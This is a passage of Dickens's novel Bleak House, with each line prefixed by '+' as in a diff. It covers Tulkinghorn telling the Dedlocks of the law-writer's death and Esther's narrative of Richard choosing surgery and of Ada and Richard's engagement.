+"It is natural to such a man to be so," says Sir Leicester, looking
+most profoundly obstinate himself. "I am not at all surprised to hear
+it."
+
+"The only question is," pursues the lawyer, "whether you will give up
+anything."
+
+"No, sir," replies Sir Leicester. "Nothing. I give up?"
+
+"I don't mean anything of importance. That, of course, I know you
+would not abandon. I mean any minor point."
+
+"Mr. Tulkinghorn," returns Sir Leicester, "there can be no minor
+point between myself and Mr. Boythorn. If I go farther, and observe
+that I cannot readily conceive how ANY right of mine can be a minor
+point, I speak not so much in reference to myself as an individual as
+in reference to the family position I have it in charge to maintain."
+
+Mr. Tulkinghorn inclines his head again. "I have now my
+instructions," he says. "Mr. Boythorn will give us a good deal of
+trouble--"
+
+"It is the character of such a mind, Mr. Tulkinghorn," Sir Leicester
+interrupts him, "TO give trouble. An exceedingly ill-conditioned,
+levelling person. A person who, fifty years ago, would probably have
+been tried at the Old Bailey for some demagogue proceeding, and
+severely punished--if not," adds Sir Leicester after a moment's
+pause, "if not hanged, drawn, and quartered."
+
+Sir Leicester appears to discharge his stately breast of a burden in
+passing this capital sentence, as if it were the next satisfactory
+thing to having the sentence executed.
+
+"But night is coming on," says he, "and my Lady will take cold. My
+dear, let us go in."
+
+As they turn towards the hall-door, Lady Dedlock addresses Mr.
+Tulkinghorn for the first time.
+
+"You sent me a message respecting the person whose writing I happened
+to inquire about. It was like you to remember the circumstance; I had
+quite forgotten it. Your message reminded me of it again. I can't
+imagine what association I had with a hand like that, but I surely
+had some."
+
+"You had some?" Mr. Tulkinghorn repeats.
+
+"Oh, yes!" returns my Lady carelessly. "I think I must have had some.
+And did you really take the trouble to find out the writer of that
+actual thing--what is it!--affidavit?"
+
+"Yes."
+
+"How very odd!"
+
+They pass into a sombre breakfast-room on the ground floor, lighted
+in the day by two deep windows. It is now twilight. The fire glows
+brightly on the panelled wall and palely on the window-glass, where,
+through the cold reflection of the blaze, the colder landscape
+shudders in the wind and a grey mist creeps along, the only traveller
+besides the waste of clouds.
+
+My Lady lounges in a great chair in the chimney-corner, and Sir
+Leicester takes another great chair opposite. The lawyer stands
+before the fire with his hand out at arm's length, shading his face.
+He looks across his arm at my Lady.
+
+"Yes," he says, "I inquired about the man, and found him. And, what
+is very strange, I found him--"
+
+"Not to be any out-of-the-way person, I am afraid!" Lady Dedlock
+languidly anticipates.
+
+"I found him dead."
+
+"Oh, dear me!" remonstrated Sir Leicester. Not so much shocked by the
+fact as by the fact of the fact being mentioned.
+
+"I was directed to his lodging--a miserable, poverty-stricken
+place--and I found him dead."
+
+"You will excuse me, Mr. Tulkinghorn," observes Sir Leicester. "I
+think the less said--"
+
+"Pray, Sir Leicester, let me hear the story out" (it is my Lady
+speaking). "It is quite a story for twilight. How very shocking!
+Dead?"
+
+Mr. Tulkinghorn re-asserts it by another inclination of his head.
+"Whether by his own hand--"
+
+"Upon my honour!" cries Sir Leicester. "Really!"
+
+"Do let me hear the story!" says my Lady.
+
+"Whatever you desire, my dear. But, I must say--"
+
+"No, you mustn't say! Go on, Mr. Tulkinghorn."
+
+Sir Leicester's gallantry concedes the point, though he still feels
+that to bring this sort of squalor among the upper classes is
+really--really--
+
+"I was about to say," resumes the lawyer with undisturbed calmness,
+"that whether he had died by his own hand or not, it was beyond my
+power to tell you. I should amend that phrase, however, by saying
+that he had unquestionably died of his own act, though whether by his
+own deliberate intention or by mischance can never certainly be
+known. The coroner's jury found that he took the poison
+accidentally."
+
+"And what kind of man," my Lady asks, "was this deplorable creature?"
+
+"Very difficult to say," returns the lawyer, shaking his head. "He
+had lived so wretchedly and was so neglected, with his gipsy colour
+and his wild black hair and beard, that I should have considered him
+the commonest of the common. The surgeon had a notion that he had
+once been something better, both in appearance and condition."
+
+"What did they call the wretched being?"
+
+"They called him what he had called himself, but no one knew his
+name."
+
+"Not even any one who had attended on him?"
+
+"No one had attended on him. He was found dead. In fact, I found
+him."
+
+"Without any clue to anything more?"
+
+"Without any; there was," says the lawyer meditatively, "an old
+portmanteau, but--No, there were no papers."
+
+During the utterance of every word of this short dialogue, Lady
+Dedlock and Mr. Tulkinghorn, without any other alteration in their
+customary deportment, have looked very steadily at one another--as
+was natural, perhaps, in the discussion of so unusual a subject. Sir
+Leicester has looked at the fire, with the general expression of the
+Dedlock on the staircase. The story being told, he renews his stately
+protest, saying that as it is quite clear that no association in my
+Lady's mind can possibly be traceable to this poor wretch (unless he
+was a begging-letter writer), he trusts to hear no more about a
+subject so far removed from my Lady's station.
+
+"Certainly, a collection of horrors," says my Lady, gathering up her
+mantles and furs, "but they interest one for the moment! Have the
+kindness, Mr. Tulkinghorn, to open the door for me."
+
+Mr. Tulkinghorn does so with deference and holds it open while she
+passes out. She passes close to him, with her usual fatigued manner
+and insolent grace. They meet again at dinner--again, next
+day--again, for many days in succession. Lady Dedlock is always the
+same exhausted deity, surrounded by worshippers, and terribly liable
+to be bored to death, even while presiding at her own shrine. Mr.
+Tulkinghorn is always the same speechless repository of noble
+confidences, so oddly out of place and yet so perfectly at home. They
+appear to take as little note of one another as any two people
+enclosed within the same walls could. But whether each evermore
+watches and suspects the other, evermore mistrustful of some great
+reservation; whether each is evermore prepared at all points for the
+other, and never to be taken unawares; what each would give to know
+how much the other knows--all this is hidden, for the time, in their
+own hearts.
+
+
+
+
+CHAPTER XIII
+
+Esther's Narrative
+
+
+We held many consultations about what Richard was to be, first
+without Mr. Jarndyce, as he had requested, and afterwards with him,
+but it was a long time before we seemed to make progress. Richard
+said he was ready for anything. When Mr. Jarndyce doubted whether he
+might not already be too old to enter the Navy, Richard said he had
+thought of that, and perhaps he was. When Mr. Jarndyce asked him what
+he thought of the Army, Richard said he had thought of that, too, and
+it wasn't a bad idea. When Mr. Jarndyce advised him to try and decide
+within himself whether his old preference for the sea was an ordinary
+boyish inclination or a strong impulse, Richard answered, Well he
+really HAD tried very often, and he couldn't make out.
+
+"How much of this indecision of character," Mr. Jarndyce said to me,
+"is chargeable on that incomprehensible heap of uncertainty and
+procrastination on which he has been thrown from his birth, I don't
+pretend to say; but that Chancery, among its other sins, is
+responsible for some of it, I can plainly see. It has engendered or
+confirmed in him a habit of putting off--and trusting to this, that,
+and the other chance, without knowing what chance--and dismissing
+everything as unsettled, uncertain, and confused. The character of
+much older and steadier people may be even changed by the
+circumstances surrounding them. It would be too much to expect that a
+boy's, in its formation, should be the subject of such influences and
+escape them."
+
+I felt this to be true; though if I may venture to mention what I
+thought besides, I thought it much to be regretted that Richard's
+education had not counteracted those influences or directed his
+character. He had been eight years at a public school and had learnt,
+I understood, to make Latin verses of several sorts in the most
+admirable manner. But I never heard that it had been anybody's
+business to find out what his natural bent was, or where his failings
+lay, or to adapt any kind of knowledge to HIM. HE had been adapted to
+the verses and had learnt the art of making them to such perfection
+that if he had remained at school until he was of age, I suppose he
+could only have gone on making them over and over again unless he had
+enlarged his education by forgetting how to do it. Still, although I
+had no doubt that they were very beautiful, and very improving, and
+very sufficient for a great many purposes of life, and always
+remembered all through life, I did doubt whether Richard would not
+have profited by some one studying him a little, instead of his
+studying them quite so much.
+
+To be sure, I knew nothing of the subject and do not even now know
+whether the young gentlemen of classic Rome or Greece made verses to
+the same extent--or whether the young gentlemen of any country ever
+did.
+
+"I haven't the least idea," said Richard, musing, "what I had better
+be. Except that I am quite sure I don't want to go into the Church,
+it's a toss-up."
+
+"You have no inclination in Mr. Kenge's way?" suggested Mr. Jarndyce.
+
+"I don't know that, sir!" replied Richard. "I am fond of boating.
+Articled clerks go a good deal on the water. It's a capital
+profession!"
+
+"Surgeon--" suggested Mr. Jarndyce.
+
+"That's the thing, sir!" cried Richard.
+
+I doubt if he had ever once thought of it before.
+
+"That's the thing, sir," repeated Richard with the greatest
+enthusiasm. "We have got it at last. M.R.C.S.!"
+
+He was not to be laughed out of it, though he laughed at it heartily.
+He said he had chosen his profession, and the more he thought of it,
+the more he felt that his destiny was clear; the art of healing was
+the art of all others for him. Mistrusting that he only came to this
+conclusion because, having never had much chance of finding out for
+himself what he was fitted for and having never been guided to the
+discovery, he was taken by the newest idea and was glad to get rid of
+the trouble of consideration, I wondered whether the Latin verses
+often ended in this or whether Richard's was a solitary case.
+
+Mr. Jarndyce took great pains to talk with him seriously and to put
+it to his good sense not to deceive himself in so important a matter.
+Richard was a little grave after these interviews, but invariably
+told Ada and me that it was all right, and then began to talk about
+something else.
+
+"By heaven!" cried Mr. Boythorn, who interested himself strongly in
+the subject--though I need not say that, for he could do nothing
+weakly; "I rejoice to find a young gentleman of spirit and gallantry
+devoting himself to that noble profession! The more spirit there is
+in it, the better for mankind and the worse for those mercenary
+task-masters and low tricksters who delight in putting that
+illustrious art at a disadvantage in the world. By all that is base
+and despicable," cried Mr. Boythorn, "the treatment of surgeons
+aboard ship is such that I would submit the legs--both legs--of every
+member of the Admiralty Board to a compound fracture and render it a
+transportable offence in any qualified practitioner to set them if
+the system were not wholly changed in eight and forty hours!"
+
+"Wouldn't you give them a week?" asked Mr. Jarndyce.
+
+"No!" cried Mr. Boythorn firmly. "Not on any consideration! Eight and
+forty hours! As to corporations, parishes, vestry-boards, and similar
+gatherings of jolter-headed clods who assemble to exchange such
+speeches that, by heaven, they ought to be worked in quicksilver
+mines for the short remainder of their miserable existence, if it
+were only to prevent their detestable English from contaminating a
+language spoken in the presence of the sun--as to those fellows, who
+meanly take advantage of the ardour of gentlemen in the pursuit of
+knowledge to recompense the inestimable services of the best years of
+their lives, their long study, and their expensive education with
+pittances too small for the acceptance of clerks, I would have the
+necks of every one of them wrung and their skulls arranged in
+Surgeons' Hall for the contemplation of the whole profession in order
+that its younger members might understand from actual measurement, in
+early life, HOW thick skulls may become!"
+
+He wound up this vehement declaration by looking round upon us with a
+most agreeable smile and suddenly thundering, "Ha, ha, ha!" over and
+over again, until anybody else might have been expected to be quite
+subdued by the exertion.
+
+As Richard still continued to say that he was fixed in his choice
+after repeated periods for consideration had been recommended by Mr.
+Jarndyce and had expired, and he still continued to assure Ada and me
+in the same final manner that it was "all right," it became advisable
+to take Mr. Kenge into council. Mr. Kenge, therefore, came down to
+dinner one day, and leaned back in his chair, and turned his
+eye-glasses over and over, and spoke in a sonorous voice, and did
+exactly what I remembered to have seen him do when I was a little
+girl.
+
+"Ah!" said Mr. Kenge. "Yes. Well! A very good profession, Mr.
+Jarndyce, a very good profession."
+
+"The course of study and preparation requires to be diligently
+pursued," observed my guardian with a glance at Richard.
+
+"Oh, no doubt," said Mr. Kenge. "Diligently."
+
+"But that being the case, more or less, with all pursuits that are
+worth much," said Mr. Jarndyce, "it is not a special consideration
+which another choice would be likely to escape."
+
+"Truly," said Mr. Kenge. "And Mr. Richard Carstone, who has so
+meritoriously acquitted himself in the--shall I say the classic
+shades?--in which his youth had been passed, will, no doubt, apply
+the habits, if not the principles and practice, of versification in
+that tongue in which a poet was said (unless I mistake) to be born,
+not made, to the more eminently practical field of action on which he
+enters."
+
+"You may rely upon it," said Richard in his off-hand manner, "that I
+shall go at it and do my best."
+
+"Very well, Mr. Jarndyce!" said Mr. Kenge, gently nodding his head.
+"Really, when we are assured by Mr. Richard that he means to go at it
+and to do his best," nodding feelingly and smoothly over those
+expressions, "I would submit to you that we have only to inquire into
+the best mode of carrying out the object of his ambition. Now, with
+reference to placing Mr. Richard with some sufficiently eminent
+practitioner. Is there any one in view at present?"
+
+"No one, Rick, I think?" said my guardian.
+
+"No one, sir," said Richard.
+
+"Quite so!" observed Mr. Kenge. "As to situation, now. Is there any
+particular feeling on that head?"
+
+"N--no," said Richard.
+
+"Quite so!" observed Mr. Kenge again.
+
+"I should like a little variety," said Richard; "I mean a good range
+of experience."
+
+"Very requisite, no doubt," returned Mr. Kenge. "I think this may be
+easily arranged, Mr. Jarndyce? We have only, in the first place, to
+discover a sufficiently eligible practitioner; and as soon as we make
+our want--and shall I add, our ability to pay a premium?--known, our
+only difficulty will be in the selection of one from a large number.
+We have only, in the second place, to observe those little
+formalities which are rendered necessary by our time of life and our
+being under the guardianship of the court. We shall soon be--shall I
+say, in Mr. Richard's own light-hearted manner, 'going at it'--to our
+heart's content. It is a coincidence," said Mr. Kenge with a tinge of
+melancholy in his smile, "one of those coincidences which may or may
+not require an explanation beyond our present limited faculties, that
+I have a cousin in the medical profession. He might be deemed
+eligible by you and might be disposed to respond to this proposal. I
+can answer for him as little as for you, but he MIGHT!"
+
+As this was an opening in the prospect, it was arranged that Mr.
+Kenge should see his cousin. And as Mr. Jarndyce had before proposed
+to take us to London for a few weeks, it was settled next day that we
+should make our visit at once and combine Richard's business with it.
+
+Mr. Boythorn leaving us within a week, we took up our abode at a
+cheerful lodging near Oxford Street over an upholsterer's shop.
+London was a great wonder to us, and we were out for hours and hours
+at a time, seeing the sights, which appeared to be less capable of
+exhaustion than we were. We made the round of the principal theatres,
+too, with great delight, and saw all the plays that were worth
+seeing. I mention this because it was at the theatre that I began to
+be made uncomfortable again by Mr. Guppy.
+
+I was sitting in front of the box one night with Ada, and Richard was
+in the place he liked best, behind Ada's chair, when, happening to
+look down into the pit, I saw Mr. Guppy, with his hair flattened down
+upon his head and woe depicted in his face, looking up at me. I felt
+all through the performance that he never looked at the actors but
+constantly looked at me, and always with a carefully prepared
+expression of the deepest misery and the profoundest dejection.
+
+It quite spoiled my pleasure for that night because it was so very
+embarrassing and so very ridiculous. But from that time forth, we
+never went to the play without my seeing Mr. Guppy in the pit, always
+with his hair straight and flat, his shirt-collar turned down, and a
+general feebleness about him. If he were not there when we went in,
+and I began to hope he would not come and yielded myself for a little
+while to the interest of the scene, I was certain to encounter his
+languishing eyes when I least expected it and, from that time, to be
+quite sure that they were fixed upon me all the evening.
+
+I really cannot express how uneasy this made me. If he would only
+have brushed up his hair or turned up his collar, it would have been
+bad enough; but to know that that absurd figure was always gazing at
+me, and always in that demonstrative state of despondency, put such a
+constraint upon me that I did not like to laugh at the play, or to
+cry at it, or to move, or to speak. I seemed able to do nothing
+naturally. As to escaping Mr. Guppy by going to the back of the box,
+I could not bear to do that because I knew Richard and Ada relied on
+having me next them and that they could never have talked together so
+happily if anybody else had been in my place. So there I sat, not
+knowing where to look--for wherever I looked, I knew Mr. Guppy's eyes
+were following me--and thinking of the dreadful expense to which this
+young man was putting himself on my account.
+
+Sometimes I thought of telling Mr. Jarndyce. Then I feared that the
+young man would lose his situation and that I might ruin him.
+Sometimes I thought of confiding in Richard, but was deterred by the
+possibility of his fighting Mr. Guppy and giving him black eyes.
+Sometimes I thought, should I frown at him or shake my head. Then I
+felt I could not do it. Sometimes I considered whether I should write
+to his mother, but that ended in my being convinced that to open a
+correspondence would be to make the matter worse. I always came to
+the conclusion, finally, that I could do nothing. Mr. Guppy's
+perseverance, all this time, not only produced him regularly at any
+theatre to which we went, but caused him to appear in the crowd as we
+were coming out, and even to get up behind our fly--where I am sure I
+saw him, two or three times, struggling among the most dreadful
+spikes. After we got home, he haunted a post opposite our house. The
+upholsterer's where we lodged being at the corner of two streets, and
+my bedroom window being opposite the post, I was afraid to go near
+the window when I went upstairs, lest I should see him (as I did one
+moonlight night) leaning against the post and evidently catching
+cold. If Mr. Guppy had not been, fortunately for me, engaged in the
+daytime, I really should have had no rest from him.
+
+While we were making this round of gaieties, in which Mr. Guppy so
+extraordinarily participated, the business which had helped to bring
+us to town was not neglected. Mr. Kenge's cousin was a Mr. Bayham
+Badger, who had a good practice at Chelsea and attended a large
+public institution besides. He was quite willing to receive Richard
+into his house and to superintend his studies, and as it seemed that
+those could be pursued advantageously under Mr. Badger's roof, and
+Mr. Badger liked Richard, and as Richard said he liked Mr. Badger
+"well enough," an agreement was made, the Lord Chancellor's consent
+was obtained, and it was all settled.
+
+On the day when matters were concluded between Richard and Mr.
+Badger, we were all under engagement to dine at Mr. Badger's house.
+We were to be "merely a family party," Mrs. Badger's note said; and
+we found no lady there but Mrs. Badger herself. She was surrounded in
+the drawing-room by various objects, indicative of her painting a
+little, playing the piano a little, playing the guitar a little,
+playing the harp a little, singing a little, working a little,
+reading a little, writing poetry a little, and botanizing a little.
+She was a lady of about fifty, I should think, youthfully dressed,
+and of a very fine complexion. If I add to the little list of her
+accomplishments that she rouged a little, I do not mean that there
+was any harm in it.
+
+Mr. Bayham Badger himself was a pink, fresh-faced, crisp-looking
+gentleman with a weak voice, white teeth, light hair, and surprised
+eyes, some years younger, I should say, than Mrs. Bayham Badger. He
+admired her exceedingly, but principally, and to begin with, on the
+curious ground (as it seemed to us) of her having had three husbands.
+We had barely taken our seats when he said to Mr. Jarndyce quite
+triumphantly, "You would hardly suppose that I am Mrs. Bayham
+Badger's third!"
+
+"Indeed?" said Mr. Jarndyce.
+
+"Her third!" said Mr. Badger. "Mrs. Bayham Badger has not the
+appearance, Miss Summerson, of a lady who has had two former
+husbands?"
+
+I said "Not at all!"
+
+"And most remarkable men!" said Mr. Badger in a tone of confidence.
+"Captain Swosser of the Royal Navy, who was Mrs. Badger's first
+husband, was a very distinguished officer indeed. The name of
+Professor Dingo, my immediate predecessor, is one of European
+reputation."
+
+Mrs. Badger overheard him and smiled.
+
+"Yes, my dear!" Mr. Badger replied to the smile, "I was observing to
+Mr. Jarndyce and Miss Summerson that you had had two former
+husbands--both very distinguished men. And they found it, as people
+generally do, difficult to believe."
+
+"I was barely twenty," said Mrs. Badger, "when I married Captain
+Swosser of the Royal Navy. I was in the Mediterranean with him; I am
+quite a sailor. On the twelfth anniversary of my wedding-day, I
+became the wife of Professor Dingo."
+
+"Of European reputation," added Mr. Badger in an undertone.
+
+"And when Mr. Badger and myself were married," pursued Mrs. Badger,
+"we were married on the same day of the year. I had become attached
+to the day."
+
+"So that Mrs. Badger has been married to three husbands--two of them
+highly distinguished men," said Mr. Badger, summing up the facts,
+"and each time upon the twenty-first of March at eleven in the
+forenoon!"
+
+We all expressed our admiration.
+
+"But for Mr. Badger's modesty," said Mr. Jarndyce, "I would take
+leave to correct him and say three distinguished men."
+
+"Thank you, Mr. Jarndyce! What I always tell him!" observed Mrs.
+Badger.
+
+"And, my dear," said Mr. Badger, "what do I always tell you? That
+without any affectation of disparaging such professional distinction
+as I may have attained (which our friend Mr. Carstone will have many
+opportunities of estimating), I am not so weak--no, really," said Mr.
+Badger to us generally, "so unreasonable--as to put my reputation on
+the same footing with such first-rate men as Captain Swosser and
+Professor Dingo. Perhaps you may be interested, Mr. Jarndyce,"
+continued Mr. Bayham Badger, leading the way into the next
+drawing-room, "in this portrait of Captain Swosser. It was taken on
+his return home from the African station, where he had suffered from
+the fever of the country. Mrs. Badger considers it too yellow. But
+it's a very fine head. A very fine head!"
+
+We all echoed, "A very fine head!"
+
+"I feel when I look at it," said Mr. Badger, "'That's a man I should
+like to have seen!' It strikingly bespeaks the first-class man that
+Captain Swosser pre-eminently was. On the other side, Professor
+Dingo. I knew him well--attended him in his last illness--a speaking
+likeness! Over the piano, Mrs. Bayham Badger when Mrs. Swosser. Over
+the sofa, Mrs. Bayham Badger when Mrs. Dingo. Of Mrs. Bayham Badger
+IN ESSE, I possess the original and have no copy."
+
+Dinner was now announced, and we went downstairs. It was a very
+genteel entertainment, very handsomely served. But the captain and
+the professor still ran in Mr. Badger's head, and as Ada and I had
+the honour of being under his particular care, we had the full
+benefit of them.
+
+"Water, Miss Summerson? Allow me! Not in that tumbler, pray. Bring me
+the professor's goblet, James!"
+
+Ada very much admired some artificial flowers under a glass.
+
+"Astonishing how they keep!" said Mr. Badger. "They were presented to
+Mrs. Bayham Badger when she was in the Mediterranean."
+
+He invited Mr. Jarndyce to take a glass of claret.
+
+"Not that claret!" he said. "Excuse me! This is an occasion, and ON
+an occasion I produce some very special claret I happen to have.
+(James, Captain Swosser's wine!) Mr. Jarndyce, this is a wine that
+was imported by the captain, we will not say how many years ago. You
+will find it very curious. My dear, I shall be happy to take some of
+this wine with you. (Captain Swosser's claret to your mistress,
+James!) My love, your health!"
+
+After dinner, when we ladies retired, we took Mrs. Badger's first and
+second husband with us. Mrs. Badger gave us in the drawing-room a
+biographical sketch of the life and services of Captain Swosser
+before his marriage and a more minute account of him dating from the
+time when he fell in love with her at a ball on board the Crippler,
+given to the officers of that ship when she lay in Plymouth Harbour.
+
+"The dear old Crippler!" said Mrs. Badger, shaking her head. "She was
+a noble vessel. Trim, ship-shape, all a taunto, as Captain Swosser
+used to say. You must excuse me if I occasionally introduce a
+nautical expression; I was quite a sailor once. Captain Swosser loved
+that craft for my sake. When she was no longer in commission, he
+frequently said that if he were rich enough to buy her old hulk, he
+would have an inscription let into the timbers of the quarter-deck
+where we stood as partners in the dance to mark the spot where he
+fell--raked fore and aft (Captain Swosser used to say) by the fire
+from my tops. It was his naval way of mentioning my eyes."
+
+Mrs. Badger shook her head, sighed, and looked in the glass.
+
+"It was a great change from Captain Swosser to Professor Dingo," she
+resumed with a plaintive smile. "I felt it a good deal at first. Such
+an entire revolution in my mode of life! But custom, combined with
+science--particularly science--inured me to it. Being the professor's
+sole companion in his botanical excursions, I almost forgot that I
+had ever been afloat, and became quite learned. It is singular that
+the professor was the antipodes of Captain Swosser and that Mr.
+Badger is not in the least like either!"
+
+We then passed into a narrative of the deaths of Captain Swosser and
+Professor Dingo, both of whom seem to have had very bad complaints.
+In the course of it, Mrs. Badger signified to us that she had never
+madly loved but once and that the object of that wild affection,
+never to be recalled in its fresh enthusiasm, was Captain Swosser.
+The professor was yet dying by inches in the most dismal manner, and
+Mrs. Badger was giving us imitations of his way of saying, with great
+difficulty, "Where is Laura? Let Laura give me my toast and water!"
+when the entrance of the gentlemen consigned him to the tomb.
+
+Now, I observed that evening, as I had observed for some days past,
+that Ada and Richard were more than ever attached to each other's
+society, which was but natural, seeing that they were going to be
+separated so soon. I was therefore not very much surprised when we
+got home, and Ada and I retired upstairs, to find Ada more silent
+than usual, though I was not quite prepared for her coming into my
+arms and beginning to speak to me, with her face hidden.
+
+"My darling Esther!" murmured Ada. "I have a great secret to tell
+you!"
+
+A mighty secret, my pretty one, no doubt!
+
+"What is it, Ada?"
+
+"Oh, Esther, you would never guess!"
+
+"Shall I try to guess?" said I.
+
+"Oh, no! Don't! Pray don't!" cried Ada, very much startled by the
+idea of my doing so.
+
+"Now, I wonder who it can be about?" said I, pretending to consider.
+
+"It's about--" said Ada in a whisper. "It's about--my cousin
+Richard!"
+
+"Well, my own!" said I, kissing her bright hair, which was all I
+could see. "And what about him?"
+
+"Oh, Esther, you would never guess!"
+
+It was so pretty to have her clinging to me in that way, hiding her
+face, and to know that she was not crying in sorrow but in a little
+glow of joy, and pride, and hope, that I would not help her just yet.
+
+"He says--I know it's very foolish, we are both so young--but he
+says," with a burst of tears, "that he loves me dearly, Esther."
+
+"Does he indeed?" said I. "I never heard of such a thing! Why, my pet
+of pets, I could have told you that weeks and weeks ago!"
+
+To see Ada lift up her flushed face in joyful surprise, and hold me
+round the neck, and laugh, and cry, and blush, was so pleasant!
+
+"Why, my darling," said I, "what a goose you must take me for! Your
+cousin Richard has been loving you as plainly as he could for I don't
+know how long!"
+
+"And yet you never said a word about it!" cried Ada, kissing me.
+
+"No, my love," said I. "I waited to be told."
+
+"But now I have told you, you don't think it wrong of me, do you?"
+returned Ada. She might have coaxed me to say no if I had been the
+hardest-hearted duenna in the world. Not being that yet, I said no
+very freely.
+
+"And now," said I, "I know the worst of it."
+
+"Oh, that's not quite the worst of it, Esther dear!" cried Ada,
+holding me tighter and laying down her face again upon my breast.
+
+"No?" said I. "Not even that?"
+
+"No, not even that!" said Ada, shaking her head.
+
+"Why, you never mean to say--" I was beginning in joke.
+
+But Ada, looking up and smiling through her tears, cried, "Yes, I do!
+You know, you know I do!" And then sobbed out, "With all my heart I
+do! With all my whole heart, Esther!"
+
+I told her, laughing, why I had known that, too, just as well as I
+had known the other! And we sat before the fire, and I had all the
+talking to myself for a little while (though there was not much of
+it); and Ada was soon quiet and happy.
+
+"Do you think my cousin John knows, dear Dame Durden?" she asked.
+
+"Unless my cousin John is blind, my pet," said I, "I should think my
+cousin John knows pretty well as much as we know."
+
+"We want to speak to him before Richard goes," said Ada timidly, "and
+we wanted you to advise us, and to tell him so. Perhaps you wouldn't
+mind Richard's coming in, Dame Durden?"
+
+"Oh! Richard is outside, is he, my dear?" said I.
+
+"I am not quite certain," returned Ada with a bashful simplicity that
+would have won my heart if she had not won it long before, "but I
+think he's waiting at the door."
+
+There he was, of course. They brought a chair on either side of me,
+and put me between them, and really seemed to have fallen in love
+with me instead of one another, they were so confiding, and so
+trustful, and so fond of me. They went on in their own wild way for a
+little while--I never stopped them; I enjoyed it too much myself--and
+then we gradually fell to considering how young they were, and how
+there must be a lapse of several years before this early love could
+come to anything, and how it could come to happiness only if it were
+real and lasting and inspired them with a steady resolution to do
+their duty to each other, with constancy, fortitude, and
+perseverance, each always for the other's sake. Well! Richard said
+that he would work his fingers to the bone for Ada, and Ada said that
+she would work her fingers to the bone for Richard, and they called
+me all sorts of endearing and sensible names, and we sat there,
+advising and talking, half the night. Finally, before we parted, I
+gave them my promise to speak to their cousin John to-morrow.
+
+So, when to-morrow came, I went to my guardian after breakfast, in
+the room that was our town-substitute for the growlery, and told him
+that I had it in trust to tell him something.
+
+"Well, little woman," said he, shutting up his book, "if you have
+accepted the trust, there can be no harm in it."
+
+"I hope not, guardian," said I. "I can guarantee that there is no
+secrecy in it. For it only happened yesterday."
+
+"Aye? And what is it, Esther?"
+
+"Guardian," said I, "you remember the happy night when first we came
+down to Bleak House? When Ada was singing in the dark room?"
+
+I wished to call to his remembrance the look he had given me then.
+Unless I am much mistaken, I saw that I did so.
+
+"Because--" said I with a little hesitation.
+
+"Yes, my dear!" said he. "Don't hurry."
+
+"Because," said I, "Ada and Richard have fallen in love. And have
+told each other so."
+
+"Already!" cried my guardian, quite astonished.
+
+"Yes!" said I. "And to tell you the truth, guardian, I rather
+expected it."
+
+"The deuce you did!" said he.
+
+He sat considering for a minute or two, with his smile, at once so
+handsome and so kind, upon his changing face, and then requested me
+to let them know that he wished to see them. When they came, he
+encircled Ada with one arm in his fatherly way and addressed himself
+to Richard with a cheerful gravity.
+
+"Rick," said Mr. Jarndyce, "I am glad to have won your confidence. I
+hope to preserve it. When I contemplated these relations between us
+four which have so brightened my life and so invested it with new
+interests and pleasures, I certainly did contemplate, afar off, the
+possibility of you and your pretty cousin here (don't be shy, Ada,
+don't be shy, my dear!) being in a mind to go through life together.
+I saw, and do see, many reasons to make it desirable. But that was
+afar off, Rick, afar off!"
+
+"We look afar off, sir," returned Richard.
+
+"Well!" said Mr. Jarndyce. "That's rational. Now, hear me, my dears!
+I might tell you that you don't know your own minds yet, that a
+thousand things may happen to divert you from one another, that it is
+well this chain of flowers you have taken up is very easily broken,
+or it might become a chain of lead. But I will not do that. Such
+wisdom will come soon enough, I dare say, if it is to come at all. I
+will assume that a few years hence you will be in your hearts to one
+another what you are to-day. All I say before speaking to you
+according to that assumption is, if you DO change--if you DO come to
+find that you are more commonplace cousins to each other as man and
+woman than you were as boy and girl (your manhood will excuse me,
+Rick!)--don't be ashamed still to confide in me, for there will be
+nothing monstrous or uncommon in it. I am only your friend and
+distant kinsman. I have no power over you whatever. But I wish and
+hope to retain your confidence if I do nothing to forfeit it."
+
+"I am very sure, sir," returned Richard, "that I speak for Ada too
+when I say that you have the strongest power over us both--rooted in
+respect, gratitude, and affection--strengthening every day."
+
+"Dear cousin John," said Ada, on his shoulder, "my father's place can
+never be empty again. All the love and duty I could ever have
+rendered to him is transferred to you."
+
+"Come!" said Mr. Jarndyce. "Now for our assumption. Now we lift our
+eyes up and look hopefully at the distance! Rick, the world is before
+you; and it is most probable that as you enter it, so it will receive
+you. Trust in nothing but in Providence and your own efforts. Never
+separate the two, like the heathen waggoner. Constancy in love is a
+good thing, but it means nothing, and is nothing, without constancy
+in every kind of effort. If you had the abilities of all the great
+men, past and present, you could do nothing well without sincerely
+meaning it and setting about it. If you entertain the supposition
+that any real success, in great things or in small, ever was or could
+be, ever will or can be, wrested from Fortune by fits and starts,
+leave that wrong idea here or leave your cousin Ada here."
+
+"I will leave IT here, sir," replied Richard smiling, "if I brought
+it here just now (but I hope I did not), and will work my way on to
+my cousin Ada in the hopeful distance."
+
+"Right!" said Mr. Jarndyce. "If you are not to make her happy, why
+should you pursue her?"
+
+"I wouldn't make her unhappy--no, not even for her love," retorted
+Richard proudly.
+
+"Well said!" cried Mr. Jarndyce. "That's well said! She remains here,
+in her home with me. Love her, Rick, in your active life, no less
+than in her home when you revisit it, and all will go well.
+Otherwise, all will go ill. That's the end of my preaching. I think
+you and Ada had better take a walk."
+
+Ada tenderly embraced him, and Richard heartily shook hands with him,
+and then the cousins went out of the room, looking back again
+directly, though, to say that they would wait for me.
+
+The door stood open, and we both followed them with our eyes as they
+passed down the adjoining room, on which the sun was shining, and out
+at its farther end. Richard with his head bent, and her hand drawn
+through his arm, was talking to her very earnestly; and she looked up
+in his face, listening, and seemed to see nothing else. So young, so
+beautiful, so full of hope and promise, they went on lightly through
+the sunlight as their own happy thoughts might then be traversing the
+years to come and making them all years of brightness. So they passed
+away into the shadow and were gone. It was only a burst of light that
+had been so radiant. The room darkened as they went out, and the sun
+was clouded over.
+
+"Am I right, Esther?" said my guardian when they were gone.
+
+He was so good and wise to ask ME whether he was right!
+
+"Rick may gain, out of this, the quality he wants. Wants, at the core
+of so much that is good!" said Mr. Jarndyce, shaking his head. "I
+have said nothing to Ada, Esther. She has her friend and counsellor
+always near." And he laid his hand lovingly upon my head.
+
+I could not help showing that I was a little moved, though I did all
+I could to conceal it.
+
+"Tut tut!" said he. "But we must take care, too, that our little
+woman's life is not all consumed in care for others."
+
+"Care? My dear guardian, I believe I am the happiest creature in the
+world!"
+
+"I believe so, too," said he. "But some one may find out what Esther
+never will--that the little woman is to be held in remembrance above
+all other people!"
+
+I have omitted to mention in its place that there was some one else
+at the family dinner party. It was not a lady. It was a gentleman. It
